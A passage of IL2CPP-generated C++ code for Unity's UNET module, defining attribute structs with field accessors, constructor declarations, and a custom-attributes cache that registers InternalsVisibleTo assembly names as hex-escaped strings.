inline bool get_U3CIsFreeFunctionU3Ek__BackingField_2() const { return ___U3CIsFreeFunctionU3Ek__BackingField_2; }
inline bool* get_address_of_U3CIsFreeFunctionU3Ek__BackingField_2() { return &___U3CIsFreeFunctionU3Ek__BackingField_2; }
inline void set_U3CIsFreeFunctionU3Ek__BackingField_2(bool value)
{
___U3CIsFreeFunctionU3Ek__BackingField_2 = value;
}
inline static int32_t get_offset_of_U3CThrowsExceptionU3Ek__BackingField_3() { return static_cast<int32_t>(offsetof(NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866, ___U3CThrowsExceptionU3Ek__BackingField_3)); }
inline bool get_U3CThrowsExceptionU3Ek__BackingField_3() const { return ___U3CThrowsExceptionU3Ek__BackingField_3; }
inline bool* get_address_of_U3CThrowsExceptionU3Ek__BackingField_3() { return &___U3CThrowsExceptionU3Ek__BackingField_3; }
inline void set_U3CThrowsExceptionU3Ek__BackingField_3(bool value)
{
___U3CThrowsExceptionU3Ek__BackingField_3 = value;
}
inline static int32_t get_offset_of_U3CHasExplicitThisU3Ek__BackingField_4() { return static_cast<int32_t>(offsetof(NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866, ___U3CHasExplicitThisU3Ek__BackingField_4)); }
inline bool get_U3CHasExplicitThisU3Ek__BackingField_4() const { return ___U3CHasExplicitThisU3Ek__BackingField_4; }
inline bool* get_address_of_U3CHasExplicitThisU3Ek__BackingField_4() { return &___U3CHasExplicitThisU3Ek__BackingField_4; }
inline void set_U3CHasExplicitThisU3Ek__BackingField_4(bool value)
{
___U3CHasExplicitThisU3Ek__BackingField_4 = value;
}
};
// UnityEngine.Bindings.NativeThrowsAttribute
struct NativeThrowsAttribute_tF59F2833BDD09C6C89298E603D5C3A598CC08137 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.Boolean UnityEngine.Bindings.NativeThrowsAttribute::<ThrowsException>k__BackingField
bool ___U3CThrowsExceptionU3Ek__BackingField_0;
public:
inline static int32_t get_offset_of_U3CThrowsExceptionU3Ek__BackingField_0() { return static_cast<int32_t>(offsetof(NativeThrowsAttribute_tF59F2833BDD09C6C89298E603D5C3A598CC08137, ___U3CThrowsExceptionU3Ek__BackingField_0)); }
inline bool get_U3CThrowsExceptionU3Ek__BackingField_0() const { return ___U3CThrowsExceptionU3Ek__BackingField_0; }
inline bool* get_address_of_U3CThrowsExceptionU3Ek__BackingField_0() { return &___U3CThrowsExceptionU3Ek__BackingField_0; }
inline void set_U3CThrowsExceptionU3Ek__BackingField_0(bool value)
{
___U3CThrowsExceptionU3Ek__BackingField_0 = value;
}
};
// System.ObsoleteAttribute
struct ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String System.ObsoleteAttribute::_message
String_t* ____message_0;
// System.Boolean System.ObsoleteAttribute::_error
bool ____error_1;
public:
inline static int32_t get_offset_of__message_0() { return static_cast<int32_t>(offsetof(ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671, ____message_0)); }
inline String_t* get__message_0() const { return ____message_0; }
inline String_t** get_address_of__message_0() { return &____message_0; }
inline void set__message_0(String_t* value)
{
____message_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&____message_0), (void*)value);
}
inline static int32_t get_offset_of__error_1() { return static_cast<int32_t>(offsetof(ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671, ____error_1)); }
inline bool get__error_1() const { return ____error_1; }
inline bool* get_address_of__error_1() { return &____error_1; }
inline void set__error_1(bool value)
{
____error_1 = value;
}
};
// System.Runtime.CompilerServices.RuntimeCompatibilityAttribute
struct RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.Boolean System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::m_wrapNonExceptionThrows
bool ___m_wrapNonExceptionThrows_0;
public:
inline static int32_t get_offset_of_m_wrapNonExceptionThrows_0() { return static_cast<int32_t>(offsetof(RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80, ___m_wrapNonExceptionThrows_0)); }
inline bool get_m_wrapNonExceptionThrows_0() const { return ___m_wrapNonExceptionThrows_0; }
inline bool* get_address_of_m_wrapNonExceptionThrows_0() { return &___m_wrapNonExceptionThrows_0; }
inline void set_m_wrapNonExceptionThrows_0(bool value)
{
___m_wrapNonExceptionThrows_0 = value;
}
};
// UnityEngine.SerializeField
struct SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
public:
};
// UnityEngine.ThreadAndSerializationSafeAttribute
struct ThreadAndSerializationSafeAttribute_t41719A461F31891B2536A2E4A1E983DD7E428E7B : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
public:
};
// UnityEngine.UnityEngineModuleAssembly
struct UnityEngineModuleAssembly_t33CB058FDDDC458E384578147D6027BB1EC86CFF : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
public:
};
// System.Void
struct Void_t700C6383A2A510C2CF4DD86DABD5CA9FF70ADAC5
{
public:
union
{
struct
{
};
uint8_t Void_t700C6383A2A510C2CF4DD86DABD5CA9FF70ADAC5__padding[1];
};
public:
};
// UnityEngine.Networking.Types.AppID
struct AppID_tAD8157F4A7CC26B6E26931C595654BA56A66C01B
{
public:
// System.UInt64 UnityEngine.Networking.Types.AppID::value__
uint64_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(AppID_tAD8157F4A7CC26B6E26931C595654BA56A66C01B, ___value___2)); }
inline uint64_t get_value___2() const { return ___value___2; }
inline uint64_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(uint64_t value)
{
___value___2 = value;
}
};
// System.Diagnostics.DebuggerBrowsableState
struct DebuggerBrowsableState_t2A824ECEB650CFABB239FD0918FCC88A09B45091
{
public:
// System.Int32 System.Diagnostics.DebuggerBrowsableState::value__
int32_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(DebuggerBrowsableState_t2A824ECEB650CFABB239FD0918FCC88A09B45091, ___value___2)); }
inline int32_t get_value___2() const { return ___value___2; }
inline int32_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(int32_t value)
{
___value___2 = value;
}
};
// System.ComponentModel.EditorBrowsableState
struct EditorBrowsableState_t5212E3E4B6F8B3190040444A9D6FBCA975F02BA1
{
public:
// System.Int32 System.ComponentModel.EditorBrowsableState::value__
int32_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(EditorBrowsableState_t5212E3E4B6F8B3190040444A9D6FBCA975F02BA1, ___value___2)); }
inline int32_t get_value___2() const { return ___value___2; }
inline int32_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(int32_t value)
{
___value___2 = value;
}
};
// UnityEngine.Bindings.FreeFunctionAttribute
struct FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 : public NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866
{
public:
public:
};
// UnityEngine.Networking.Types.HostPriority
struct HostPriority_tA55AD7007516BAA3ADFF8CDC72576479ACA864A0
{
public:
// System.Int32 UnityEngine.Networking.Types.HostPriority::value__
int32_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(HostPriority_tA55AD7007516BAA3ADFF8CDC72576479ACA864A0, ___value___2)); }
inline int32_t get_value___2() const { return ___value___2; }
inline int32_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(int32_t value)
{
___value___2 = value;
}
};
// UnityEngine.Networking.Types.NetworkID
struct NetworkID_tA7160DE9FBEE6E236564AEA6C328B6180FC368C3
{
public:
// System.UInt64 UnityEngine.Networking.Types.NetworkID::value__
uint64_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(NetworkID_tA7160DE9FBEE6E236564AEA6C328B6180FC368C3, ___value___2)); }
inline uint64_t get_value___2() const { return ___value___2; }
inline uint64_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(uint64_t value)
{
___value___2 = value;
}
};
// UnityEngine.Networking.Types.NodeID
struct NodeID_t07417F7D8D30332570E9D4A123D9E8B7CA1D1E80
{
public:
// System.UInt16 UnityEngine.Networking.Types.NodeID::value__
uint16_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(NodeID_t07417F7D8D30332570E9D4A123D9E8B7CA1D1E80, ___value___2)); }
inline uint16_t get_value___2() const { return ___value___2; }
inline uint16_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(uint16_t value)
{
___value___2 = value;
}
};
// UnityEngine.Networking.Types.SourceID
struct SourceID_tBE00015EA0F2E5DAEBEC7D0210216A18EB6DA62D
{
public:
// System.UInt64 UnityEngine.Networking.Types.SourceID::value__
uint64_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(SourceID_tBE00015EA0F2E5DAEBEC7D0210216A18EB6DA62D, ___value___2)); }
inline uint64_t get_value___2() const { return ___value___2; }
inline uint64_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(uint64_t value)
{
___value___2 = value;
}
};
// UnityEngine.Bindings.TargetType
struct TargetType_tBE103EBCFE59544A834B8108A56B2A91F7CBE1DF
{
public:
// System.Int32 UnityEngine.Bindings.TargetType::value__
int32_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(TargetType_tBE103EBCFE59544A834B8108A56B2A91F7CBE1DF, ___value___2)); }
inline int32_t get_value___2() const { return ___value___2; }
inline int32_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(int32_t value)
{
___value___2 = value;
}
};
// System.Diagnostics.DebuggableAttribute/DebuggingModes
struct DebuggingModes_t279D5B9C012ABA935887CB73C5A63A1F46AF08A8
{
public:
// System.Int32 System.Diagnostics.DebuggableAttribute/DebuggingModes::value__
int32_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(DebuggingModes_t279D5B9C012ABA935887CB73C5A63A1F46AF08A8, ___value___2)); }
inline int32_t get_value___2() const { return ___value___2; }
inline int32_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(int32_t value)
{
___value___2 = value;
}
};
// System.Diagnostics.DebuggableAttribute
struct DebuggableAttribute_tA8054EBD0FC7511695D494B690B5771658E3191B : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.Diagnostics.DebuggableAttribute/DebuggingModes System.Diagnostics.DebuggableAttribute::m_debuggingModes
int32_t ___m_debuggingModes_0;
public:
inline static int32_t get_offset_of_m_debuggingModes_0() { return static_cast<int32_t>(offsetof(DebuggableAttribute_tA8054EBD0FC7511695D494B690B5771658E3191B, ___m_debuggingModes_0)); }
inline int32_t get_m_debuggingModes_0() const { return ___m_debuggingModes_0; }
inline int32_t* get_address_of_m_debuggingModes_0() { return &___m_debuggingModes_0; }
inline void set_m_debuggingModes_0(int32_t value)
{
___m_debuggingModes_0 = value;
}
};
// System.Diagnostics.DebuggerBrowsableAttribute
struct DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.Diagnostics.DebuggerBrowsableState System.Diagnostics.DebuggerBrowsableAttribute::state
int32_t ___state_0;
public:
inline static int32_t get_offset_of_state_0() { return static_cast<int32_t>(offsetof(DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53, ___state_0)); }
inline int32_t get_state_0() const { return ___state_0; }
inline int32_t* get_address_of_state_0() { return &___state_0; }
inline void set_state_0(int32_t value)
{
___state_0 = value;
}
};
// System.ComponentModel.EditorBrowsableAttribute
struct EditorBrowsableAttribute_tE201891FE727EB3FB75B488A2BF6D4DF3CB80614 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.ComponentModel.EditorBrowsableState System.ComponentModel.EditorBrowsableAttribute::browsableState
int32_t ___browsableState_0;
public:
inline static int32_t get_offset_of_browsableState_0() { return static_cast<int32_t>(offsetof(EditorBrowsableAttribute_tE201891FE727EB3FB75B488A2BF6D4DF3CB80614, ___browsableState_0)); }
inline int32_t get_browsableState_0() const { return ___browsableState_0; }
inline int32_t* get_address_of_browsableState_0() { return &___browsableState_0; }
inline void set_browsableState_0(int32_t value)
{
___browsableState_0 = value;
}
};
// UnityEngine.Bindings.NativePropertyAttribute
struct NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A : public NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866
{
public:
// UnityEngine.Bindings.TargetType UnityEngine.Bindings.NativePropertyAttribute::<TargetType>k__BackingField
int32_t ___U3CTargetTypeU3Ek__BackingField_5;
public:
inline static int32_t get_offset_of_U3CTargetTypeU3Ek__BackingField_5() { return static_cast<int32_t>(offsetof(NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A, ___U3CTargetTypeU3Ek__BackingField_5)); }
inline int32_t get_U3CTargetTypeU3Ek__BackingField_5() const { return ___U3CTargetTypeU3Ek__BackingField_5; }
inline int32_t* get_address_of_U3CTargetTypeU3Ek__BackingField_5() { return &___U3CTargetTypeU3Ek__BackingField_5; }
inline void set_U3CTargetTypeU3Ek__BackingField_5(int32_t value)
{
___U3CTargetTypeU3Ek__BackingField_5 = value;
}
};
#ifdef __clang__
#pragma clang diagnostic pop
#endif
// System.Void System.Runtime.CompilerServices.InternalsVisibleToAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9 (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * __this, String_t* ___assemblyName0, const RuntimeMethod* method);
// System.Void System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RuntimeCompatibilityAttribute__ctor_m551DDF1438CE97A984571949723F30F44CF7317C (RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80 * __this, const RuntimeMethod* method);
// System.Void System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::set_WrapNonExceptionThrows(System.Boolean)
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void RuntimeCompatibilityAttribute_set_WrapNonExceptionThrows_m8562196F90F3EBCEC23B5708EE0332842883C490_inline (RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80 * __this, bool ___value0, const RuntimeMethod* method);
// System.Void System.Diagnostics.DebuggableAttribute::.ctor(System.Diagnostics.DebuggableAttribute/DebuggingModes)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void DebuggableAttribute__ctor_m7FF445C8435494A4847123A668D889E692E55550 (DebuggableAttribute_tA8054EBD0FC7511695D494B690B5771658E3191B * __this, int32_t ___modes0, const RuntimeMethod* method);
// System.Void System.Runtime.CompilerServices.CompilationRelaxationsAttribute::.ctor(System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CompilationRelaxationsAttribute__ctor_mAC3079EBC4EEAB474EED8208EF95DB39C922333B (CompilationRelaxationsAttribute_t661FDDC06629BDA607A42BD660944F039FE03AFF * __this, int32_t ___relaxations0, const RuntimeMethod* method);
// System.Void UnityEngine.UnityEngineModuleAssembly::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void UnityEngineModuleAssembly__ctor_m76C129AC6AA438BE601F5279EE9EB599BEF90AF9 (UnityEngineModuleAssembly_t33CB058FDDDC458E384578147D6027BB1EC86CFF * __this, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeConditionalAttribute::.ctor(System.String,System.Boolean)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeConditionalAttribute__ctor_mD7A4501DA7EC2B1EBAF4730F06B60D3A8D896A23 (NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B * __this, String_t* ___condition0, bool ___enabled1, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeHeaderAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76 (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * __this, String_t* ___header0, const RuntimeMethod* method);
// System.Void System.ObsoleteAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void ObsoleteAttribute__ctor_mAC32A5CCD287DA84CDA9F08282C1C8B0DB7B9868 (ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 * __this, String_t* ___message0, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.FreeFunctionAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0 (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * __this, String_t* ___name0, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeMethodAttribute::set_ThrowsException(System.Boolean)
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * __this, bool ___value0, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeThrowsAttribute::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeThrowsAttribute__ctor_m7FD0B7887043A2A47C39D7029EF5B8C713E08751 (NativeThrowsAttribute_tF59F2833BDD09C6C89298E603D5C3A598CC08137 * __this, const RuntimeMethod* method);
// System.Void UnityEngine.SerializeField::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3 (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * __this, const RuntimeMethod* method);
// System.Void UnityEngine.ThreadAndSerializationSafeAttribute::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void ThreadAndSerializationSafeAttribute__ctor_mFD03B237E6197FBEC6B5ACA54E9063E0827947CB (ThreadAndSerializationSafeAttribute_t41719A461F31891B2536A2E4A1E983DD7E428E7B * __this, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeMethodAttribute::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeMethodAttribute__ctor_mB0D8BA2FFA19561CCB4257F8D6D03726514A9E5F (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * __this, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeMethodAttribute::set_IsThreadSafe(System.Boolean)
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void NativeMethodAttribute_set_IsThreadSafe_m965EAB84605EABFD2AE9B84FBE7FF311D1116A56_inline (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * __this, bool ___value0, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeMethodAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeMethodAttribute__ctor_m7F91BF50E5248D4FC3B6938488ABA3F1A883B825 (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * __this, String_t* ___name0, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativePropertyAttribute::.ctor(System.String,UnityEngine.Bindings.TargetType)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308 (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * __this, String_t* ___name0, int32_t ___targetType1, const RuntimeMethod* method);
// System.Void System.ComponentModel.DefaultValueAttribute::.ctor(System.Object)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void DefaultValueAttribute__ctor_mA4501ED4B6011A422D55EBE09A4AC3A1FAD83C13 (DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6 * __this, RuntimeObject * ___value0, const RuntimeMethod* method);
// System.Void System.Runtime.CompilerServices.CompilerGeneratedAttribute::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35 (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * __this, const RuntimeMethod* method);
// System.Void System.Diagnostics.DebuggerBrowsableAttribute::.ctor(System.Diagnostics.DebuggerBrowsableState)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5 (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * __this, int32_t ___state0, const RuntimeMethod* method);
// System.Void System.ComponentModel.EditorBrowsableAttribute::.ctor(System.ComponentModel.EditorBrowsableState)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void EditorBrowsableAttribute__ctor_mC77290C5157BDA154F1D03BD1551223B07A851D4 (EditorBrowsableAttribute_tE201891FE727EB3FB75B488A2BF6D4DF3CB80614 * __this, int32_t ___state0, const RuntimeMethod* method);
// System.Void System.ObsoleteAttribute::.ctor(System.String,System.Boolean)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void ObsoleteAttribute__ctor_m058D2B798E9AB7E7778A6DB04C3FE7011C660F4C (ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 * __this, String_t* ___message0, bool ___error1, const RuntimeMethod* method);
// System.Void System.Diagnostics.DebuggerHiddenAttribute::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void DebuggerHiddenAttribute__ctor_mB40799BB5DAFE439BEFE895836CF792B8DBEA7F3 (DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88 * __this, const RuntimeMethod* method);
static void UnityEngine_UNETModule_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[0];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x50\x65\x72\x66\x6F\x72\x6D\x61\x6E\x63\x65\x54\x65\x73\x74\x73\x2E\x52\x75\x6E\x74\x69\x6D\x65\x54\x65\x73\x74\x52\x75\x6E\x6E\x65\x72\x2E\x54\x65\x73\x74\x73"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[1];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x49\x6E\x70\x75\x74\x4C\x65\x67\x61\x63\x79\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[2];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x49\x6D\x61\x67\x65\x43\x6F\x6E\x76\x65\x72\x73\x69\x6F\x6E\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[3];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x49\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80 * tmp = (RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80 *)cache->attributes[4];
RuntimeCompatibilityAttribute__ctor_m551DDF1438CE97A984571949723F30F44CF7317C(tmp, NULL);
RuntimeCompatibilityAttribute_set_WrapNonExceptionThrows_m8562196F90F3EBCEC23B5708EE0332842883C490_inline(tmp, true, NULL);
}
{
DebuggableAttribute_tA8054EBD0FC7511695D494B690B5771658E3191B * tmp = (DebuggableAttribute_tA8054EBD0FC7511695D494B690B5771658E3191B *)cache->attributes[5];
DebuggableAttribute__ctor_m7FF445C8435494A4847123A668D889E692E55550(tmp, 263LL, NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[6];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[7];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x4A\x53\x4F\x4E\x53\x65\x72\x69\x61\x6C\x69\x7A\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[8];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x68\x61\x72\x65\x64\x49\x6E\x74\x65\x72\x6E\x61\x6C\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[9];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x63\x63\x65\x73\x73\x69\x62\x69\x6C\x69\x74\x79\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[10];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x6E\x64\x72\x6F\x69\x64\x4A\x4E\x49\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[11];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x48\x6F\x74\x52\x65\x6C\x6F\x61\x64\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[12];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
